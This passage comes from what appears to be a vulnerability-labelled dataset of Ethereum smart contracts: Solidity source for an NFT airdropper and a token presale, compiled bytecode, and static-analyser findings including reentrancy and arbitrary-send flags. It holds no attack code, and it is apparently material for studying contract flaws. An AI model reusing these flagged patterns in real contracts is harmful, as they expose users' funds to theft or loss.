26f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610af75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b038216610b595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b60008111610bbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6000546001600160a01b03848116911614801590610be757506000546001600160a01b03838116911614155b15610d0857600c546001600160a01b038481169116148015610c175750600b546001600160a01b03838116911614155b8015610c3c57506001600160a01b03821660009081526004602052604090205460ff16155b15610c9257600a548110610c925760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610450565b6000610c9d30610809565b600c54909150600160a81b900460ff16158015610cc85750600c546001600160a01b03858116911614155b8015610cdd5750600c54600160b01b900460ff165b15610d0657610ceb81610d52565b47670de0b6b3a76400008110610d0457610d0447610f58565b505b505b610d13838383610fc4565b505050565b60008184841115610d3c5760405162461bcd60e51b815260040161045091906113fb565b506000610d4984866116d6565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d9a57610d9a6116ed565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610dee57600080fd5b505afa158015610e02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e269190611669565b81600181518110610e3957610e396116ed565b6001600160a01b039283166020918202929092010152600b54610e5f913091168461096f565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e98908590600090869030904290600401611703565b600060405180830381600087803b158015610eb257600080fd5b505af1158015610ec6573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610f425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b6000610f4c610fcf565b90506109688382610926565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f92573d6000803e3d6000fd5b5050565b60008183610fb75760405162461bcd60e51b815260040161045091906113fb565b506000610d498486611774565b610d13838383610ff2565b6000806000610fdc6110e9565b9092509050610feb8282610926565b9250505090565b6000806000806000806110048761116b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061103690876111c8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611065908661120a565b6001600160a01b03891660009081526002602052604090205561108781611269565b61109184836112b3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110d691815260200190565b60405180910390a3505050505050505050565b6005546000908190816110fe6006600a61163b565b61110c906305f5e10061164a565b905061113461111d6006600a61163b565b61112b906305f5e10061164a565b60055490610926565b8210156111625760055461114a6006600a61163b565b611158906305f5e10061164a565b9350935050509091565b90939092509050565b60008060008060008060008060006111888a6007546008546112d7565b9250925092506000611198610fcf565b905060008060006111ab8e87878761132c565b919e509c509a509598509396509194505050505091939550919395565b600061096883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d18565b6000806112178385611796565b9050838110156109685760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b6000611273610fcf565b90506000611281838361137c565b3060009081526002602052604090205490915061129e908261120a565b30600090815260026020526040902055505050565b6005546112c090836111c8565b6005556006546112d0908261120a565b6006555050565b60008080806112f160646112eb898961137c565b90610926565b9050600061130460646112eb8a8961137c565b9050600061131c826113168b866111c8565b906111c8565b9992985090965090945050505050565b600080808061133b888661137c565b90506000611349888761137c565b90506000611357888861137c565b905060006113698261131686866111c8565b939b939a50919850919650505050505050565b60008261138b57506000610353565b6000611397838561164a565b9050826113a48583611774565b146109685760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b600060208083528351808285015260005b818110156114285785810183015185820160400152820161140c565b8181111561143a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107a357600080fd5b6000806040838503121561147857600080fd5b823561148381611450565b946020939093013593505050565b6000806000606084860312156114a657600080fd5b83356114b181611450565b925060208401356114c181611450565b929592945050506040919091013590565b6000602082840312156114e457600080fd5b813561096881611450565b60006020828403121561150157600080fd5b5035919050565b6000806040838503121561151b57600080fd5b823561152681611450565b9150602083013561153681611450565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561159257816000190482111561157857611578611541565b8085161561158557918102915b93841c939080029061155c565b509250929050565b6000826115a957506001610353565b816115b657506000610353565b81600181146115cc57600281146115d6576115f2565b6001915050610353565b60ff8411156115e7576115e7611541565b50506001821b610353565b5060208310610133831016604e8410600b8410161715611615575081810a610353565b61161f8383611557565b806000190482111561163357611633611541565b029392505050565b600061096860ff84168361159a565b600081600019048311821515161561166457611664611541565b500290565b60006020828403121561167b57600080fd5b815161096881611450565b60008060006060848603121561169b57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156116c657600080fd5b8151801515811461096857600080fd5b6000828210156116e8576116e8611541565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117535784516001600160a01b03168352938301939183019160010161172e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261179157634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156117a9576117a9611541565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122065af099c904adc5216e5a58a353cd8e1fffdbb361d91414383862cb68ec15c6264736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,136 |
0x6aaf9bc8573afa73adf99bd57bbfabfe18d5dfa6
|
/**
*Submitted for verification at Etherscan.io on 2021-09-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
contract NFTAirdropper is Ownable {
struct Airdrop {
address nft;
uint id;
}
uint public nextAirdropId;
uint public claimedAirdropId;
mapping(uint => Airdrop) public airdrops;
mapping(address => bool) public recipients;
constructor() {}
function sendAirdrops(Airdrop[] memory _airdrops, address[] memory _recipients) external onlyOwner() {
require(_airdrops.length == _recipients.length, "Invalid input lengths");
for(uint i = 0; i < _airdrops.length; i++) {
IERC721(_airdrops[i].nft).transferFrom(msg.sender, _recipients[i], _airdrops[i].id);
}
}
function addAirdrops(Airdrop[] memory _airdrops) external onlyOwner() {
uint _nextAirdropId = nextAirdropId;
for(uint i = 0; i < _airdrops.length; i++) {
airdrops[_nextAirdropId] = _airdrops[i];
IERC721(_airdrops[i].nft).transferFrom(msg.sender, address(this), _airdrops[i].id);
_nextAirdropId++;
}
nextAirdropId = _nextAirdropId;
}
function addRecipients(address[] memory _recipients) external onlyOwner() {
for(uint i = 0; i < _recipients.length; i++) {
recipients[_recipients[i]] = true;
}
}
function removeRecipients(address[] memory _recipients) external onlyOwner() {
for(uint i = 0; i < _recipients.length; i++) {
recipients[_recipients[i]] = false;
}
}
function claim() external {
require(recipients[msg.sender] == true, 'PKNAirdropNFT: recipient not added');
recipients[msg.sender] = false;
Airdrop storage airdrop = airdrops[claimedAirdropId];
IERC721(airdrop.nft).transferFrom(address(this), msg.sender, airdrop.id);
claimedAirdropId++;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638da5cb5b116100715780638da5cb5b1461015f578063ab398e641461017a578063aff38dc81461018d578063eb82031214610196578063f2fde38b146101c9578063f8c8285b146101dc57600080fd5b806325f02c33146100b957806329af54cc146100d55780634e71d92d146100ea57806360db5082146100f2578063639ab82f14610144578063715018a614610157575b600080fd5b6100c260025481565b6040519081526020015b60405180910390f35b6100e86100e336600461097f565b6101ef565b005b6100e861028e565b610125610100366004610a55565b600360205260009081526040902080546001909101546001600160a01b039091169082565b604080516001600160a01b0390931683526020830191909152016100cc565b6100e861015236600461097f565b6103b0565b6100e8610442565b6000546040516001600160a01b0390911681526020016100cc565b6100e86101883660046109f1565b610478565b6100c260015481565b6101b96101a436600461095d565b60046020526000908152604090205460ff1681565b60405190151581526020016100cc565b6100e86101d736600461095d565b6105dd565b6100e86101ea3660046109bc565b610678565b6000546001600160a01b031633146102225760405162461bcd60e51b815260040161021990610a6e565b60405180910390fd5b60005b815181101561028a5760016004600084848151811061024657610246610b4a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061028281610b21565b915050610225565b5050565b3360009081526004602052604090205460ff1615156001146102fd5760405162461bcd60e51b815260206004820152602260248201527f504b4e41697264726f704e46543a20726563697069656e74206e6f7420616464604482015261195960f21b6064820152608401610219565b336000818152600460208181526040808420805460ff1916905560025484526003909152918290208054600182015493516323b872dd60e01b815230938101939093526024830194909452604482019290925290916001600160a01b0316906323b872dd90606401600060405180830381600087803b15801561037f57600080fd5b505af1158015610393573d6000803e3d6000fd5b5050600280549250905060006103a883610b21565b919050555050565b6000546001600160a01b031633146103da5760405162461bcd60e51b815260040161021990610a6e565b60005b815181101561028a576000600460008484815181106103fe576103fe610b4a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061043a81610b21565b9150506103dd565b6000546001600160a01b0316331461046c5760405162461bcd60e51b815260040161021990610a6e565b61047660006107e0565b565b6000546001600160a01b031633146104a25760405162461bcd60e51b815260040161021990610a6e565b80518251146104eb5760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420696e707574206c656e6774687360581b6044820152606401610219565b60005b82518110156105d85782818151811061050957610509610b4a565b6020026020010151600001516001600160a01b03166323b872dd3384848151811061053657610536610b4a565b602002602001015186858151811061055057610550610b4a565b60209081029190910181015101516040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b1580156105ad57600080fd5b505af11580156105c1573d6000803e3d6000fd5b5050505080806105d090610b21565b9150506104ee565b505050565b6000546001600160a01b031633146106075760405162461bcd60e51b815260040161021990610a6e565b6001600160a01b03811661066c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610219565b610675816107e0565b50565b6000546001600160a01b031633146106a25760405162461bcd60e51b815260040161021990610a6e565b60015460005b82518110156107d9578281815181106106c3576106c3610b4a565b60209081029190910181015160008481526003835260409020815181546001600160a01b0319166001600160a01b03909116178155910151600190910155825183908290811061071557610715610b4a565b6020026020010151600001516001600160a01b03166323b872dd333086858151811061074357610743610b4a565b60209081029190910181015101516040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b1580156107a057600080fd5b505af11580156107b4573d6000803e3d6000fd5b5050505081806107c390610b21565b92505080806107d190610b21565b9150506106a8565b5060015550565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461084757600080fd5b919050565b600082601f83011261085d57600080fd5b8135602061087261086d83610afd565b610acc565b80838252828201915082860187848660051b890101111561089257600080fd5b60005b858110156108b8576108a682610830565b84529284019290840190600101610895565b5090979650505050505050565b600082601f8301126108d657600080fd5b813560206108e661086d83610afd565b80838252828201915082860187848660061b890101111561090657600080fd5b6000805b8681101561094f57604080848c031215610922578283fd5b61092a610aa3565b61093385610830565b815284880135888201528652948601949092019160010161090a565b509198975050505050505050565b60006020828403121561096f57600080fd5b61097882610830565b9392505050565b60006020828403121561099157600080fd5b813567ffffffffffffffff8111156109a857600080fd5b6109b48482850161084c565b949350505050565b6000602082840312156109ce57600080fd5b813567ffffffffffffffff8111156109e557600080fd5b6109b4848285016108c5565b60008060408385031215610a0457600080fd5b823567ffffffffffffffff80821115610a1c57600080fd5b610a28868387016108c5565b93506020850135915080821115610a3e57600080fd5b50610a4b8582860161084c565b9150509250929050565b600060208284031215610a6757600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6040805190810167ffffffffffffffff81118282101715610ac657610ac6610b60565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715610af557610af5610b60565b604052919050565b600067ffffffffffffffff821115610b1757610b17610b60565b5060051b60200190565b6000600019821415610b4357634e487b7160e01b600052601160045260246000fd5b5060010190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220891ac4fb91dd5ca1f943a22701daf36e3fb1b81603092d891004a3343f8ba37f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,137 |
0x27a66f1415dcae9e196827b7bd2dd850aeb301f7
|
// v7
/**
* Presale.sol
*/
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
* @param a First number
* @param b Second number
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
* @param a First number
* @param b Second number
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
* @param a First number
* @param b Second number
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
* @param a First number
* @param b Second number
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// interface to the crowdsale contract
interface CrowdSale {
function crowdSaleCheck() external view returns (bool);
}
/**
* @title InvestorsStorage
* @dev InvestorStorage contract interface with newInvestment and getInvestedAmount functions which need to be implemented
*/
interface InvestorsStorage {
function newInvestment(address _investor, uint256 _amount) external;
function getInvestedAmount(address _investor) external view returns (uint256);
}
/**
* @title TokenContract
* @dev Token contract interface with transfer and balanceOf functions which need to be implemented
*/
interface TokenContract {
/**
* @dev Transfer funds to recipient address
* @param _recipient Recipients address
* @param _amount Amount to transfer
*/
function transfer(address _recipient, uint256 _amount) external returns (bool);
/**
* @dev Return balance of holders address
* @param _holder Holders address
*/
function balanceOf(address _holder) external view returns (uint256);
}
/**
* @title PreSale
* @dev PreSale Contract which executes and handles presale of the tokens
*/
contract PreSale is Ownable {
using SafeMath for uint256;
// variables
TokenContract public tkn;
CrowdSale public cSale;
InvestorsStorage public investorsStorage;
uint256 public levelEndDate;
uint256 public currentLevel;
uint256 public levelTokens = 375000;
uint256 public tokensSold;
uint256 public weiRised;
uint256 public ethPrice;
address[] public investorsList;
bool public presalePaused;
bool public presaleEnded;
uint256[12] private tokenPrice = [4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 44, 48];
uint256 private baseTokens = 375000;
uint256 private usdCentValue;
uint256 private minInvestment;
/**
* @dev Constructor of Presale contract
*/
constructor() public {
tkn = TokenContract(0xea674f79acf3c974085784f0b3e9549b39a5e10a); // address of the token contract
investorsStorage = InvestorsStorage(0x15c7c30B980ef442d3C811A30346bF9Dd8906137); // address of the storage contract
minInvestment = 100 finney;
updatePrice(5000);
}
/**
* @dev Fallback payable function which executes additional checks and functionality when tokens need to be sent to the investor
*/
function() payable public {
require(msg.value >= minInvestment); // check for minimum investment amount
require(!presalePaused);
require(!presaleEnded);
prepareSell(msg.sender, msg.value);
}
/**
* @dev Prepare sell of the tokens
* @param _investor Investors address
* @param _amount Amount invested
*/
function prepareSell(address _investor, uint256 _amount) private {
uint256 remaining;
uint256 pricePerCent;
uint256 pricePerToken;
uint256 toSell;
uint256 amount = _amount;
uint256 sellInWei;
address investor = _investor;
pricePerCent = getUSDPrice();
pricePerToken = pricePerCent.mul(tokenPrice[currentLevel]); // calculate the price for each token in the current level
toSell = _amount.div(pricePerToken); // calculate the amount to sell
if (toSell < levelTokens) { // if there is enough tokens left in the current level, sell from it
levelTokens = levelTokens.sub(toSell);
weiRised = weiRised.add(_amount);
executeSell(investor, toSell, _amount);
owner.transfer(_amount);
} else { // if not, sell from 2 or more different levels
while (amount > 0) {
if (toSell > levelTokens) {
toSell = levelTokens; // sell all the remaining in the level
sellInWei = toSell.mul(pricePerToken);
amount = amount.sub(sellInWei);
if (currentLevel < 11) { // if is the last level, sell only the tokens left,
currentLevel += 1;
levelTokens = baseTokens;
} else {
remaining = amount;
amount = 0;
}
} else {
sellInWei = amount;
amount = 0;
}
executeSell(investor, toSell, sellInWei);
weiRised = weiRised.add(sellInWei);
owner.transfer(amount);
if (amount > 0) {
toSell = amount.div(pricePerToken);
}
if (remaining > 0) { // if there is any mount left, it means that is the the last level an there is no more tokens to sell
investor.transfer(remaining);
owner.transfer(address(this).balance);
presaleEnded = true;
}
}
}
}
/**
* @dev Execute sell of the tokens - send investor to investors storage and transfer tokens
* @param _investor Investors address
* @param _tokens Amount of tokens to be sent
* @param _weiAmount Amount invested in wei
*/
function executeSell(address _investor, uint256 _tokens, uint256 _weiAmount) private {
uint256 totalTokens = _tokens * (10 ** 18);
tokensSold += _tokens; // update tokens sold
investorsStorage.newInvestment(_investor, _weiAmount); // register the invested amount in the storage
require(tkn.transfer(_investor, totalTokens)); // transfer the tokens to the investor
emit NewInvestment(_investor, totalTokens);
}
/**
* @dev Getter for USD price of tokens
*/
function getUSDPrice() private view returns (uint256) {
return usdCentValue;
}
/**
* @dev Change USD price of tokens
* @param _ethPrice New Ether price
*/
function updatePrice(uint256 _ethPrice) private {
uint256 centBase = 1 * 10 ** 16;
require(_ethPrice > 0);
ethPrice = _ethPrice;
usdCentValue = centBase.div(_ethPrice);
}
/**
* @dev Set USD to ETH value
* @param _ethPrice New Ether price
*/
function setUsdEthValue(uint256 _ethPrice) onlyOwner external { // set the ETH value in USD
updatePrice(_ethPrice);
}
/**
* @dev Set the crowdsale contract address
* @param _crowdSale Crowdsale contract address
*/
function setCrowdSaleAddress(address _crowdSale) onlyOwner public { // set the crowdsale contract address
cSale = CrowdSale(_crowdSale);
}
/**
* @dev Set the storage contract address
* @param _investorsStorage Investors storage contract address
*/
function setStorageAddress(address _investorsStorage) onlyOwner public { // set the storage contract address
investorsStorage = InvestorsStorage(_investorsStorage);
}
/**
* @dev Pause the presale
* @param _paused Paused state - true/false
*/
function pausePresale(bool _paused) onlyOwner public { // pause the presale
presalePaused = _paused;
}
/**
* @dev Get funds
*/
function getFunds() onlyOwner public { // request the funds
owner.transfer(address(this).balance);
}
event NewInvestment(address _investor, uint256 tokens);
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305f3a8521461015c5780631f3ee21f146101b35780632ccc8727146101e05780634215da7d1461024d5780634d9b3735146102a4578063518ab2a8146102bb57806359b910d6146102e65780637f9f54951461032957806383fbc2b4146103545780638da5cb5b1461037f5780638f456125146103d65780639dc4b9c914610419578063a79fdbb414610444578063cabe2c0a14610473578063d7299ef71461049e578063e580b2b0146104cd578063ed188f33146104fc578063f2fde38b14610553578063ff186b2e14610596575b601a54341015151561011857600080fd5b600b60009054906101000a900460ff1615151561013457600080fd5b600b60019054906101000a900460ff1615151561015057600080fd5b61015a33346105c1565b005b34801561016857600080fd5b506101716108fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101de60048036038101908080359060200190929190505050610921565b005b3480156101ec57600080fd5b5061020b60048036038101908080359060200190929190505050610988565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025957600080fd5b506102626109c6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102b057600080fd5b506102b96109ec565b005b3480156102c757600080fd5b506102d0610ac8565b6040518082815260200191505060405180910390f35b3480156102f257600080fd5b50610327600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ace565b005b34801561033557600080fd5b5061033e610b6d565b6040518082815260200191505060405180910390f35b34801561036057600080fd5b50610369610b73565b6040518082815260200191505060405180910390f35b34801561038b57600080fd5b50610394610b79565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e257600080fd5b50610417600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9e565b005b34801561042557600080fd5b5061042e610c3d565b6040518082815260200191505060405180910390f35b34801561045057600080fd5b50610459610c43565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610488610c56565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104cb600480360381019080803515159060200190929190505050610c5c565b005b3480156104d957600080fd5b506104e2610cd4565b604051808215151515815260200191505060405180910390f35b34801561050857600080fd5b50610511610ce7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055f57600080fd5b50610594600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0d565b005b3480156105a257600080fd5b506105ab610e62565b6040518082815260200191505060405180910390f35b60008060008060008060008792508890506105da610e68565b9550610601600c600554600c811015156105f057fe5b015487610e7290919063ffffffff16565b94506106168589610ead90919063ffffffff16565b93506006548410156106d05761063784600654610ec890919063ffffffff16565b60068190555061065288600854610ee190919063ffffffff16565b60088190555061066381858a610eff565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f193505050501580156106ca573d6000803e3d6000fd5b506108f0565b5b60008311156108ef5760065484111561074a5760065493506106fc8585610e7290919063ffffffff16565b91506107118284610ec890919063ffffffff16565b9250600b600554101561073d576001600560008282540192505081905550601854600681905550610745565b829650600092505b610752565b829150600092505b61075d818584610eff565b61077282600854610ee190919063ffffffff16565b6008819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156107df573d6000803e3d6000fd5b5060008311156107ff576107fc8584610ead90919063ffffffff16565b93505b60008711156108ea578073ffffffffffffffffffffffffffffffffffffffff166108fc889081150290604051600060405180830381858888f1935050505015801561084e573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156108cd573d6000803e3d6000fd5b506001600b60016101000a81548160ff0219169083151502179055505b6106d1565b5b505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1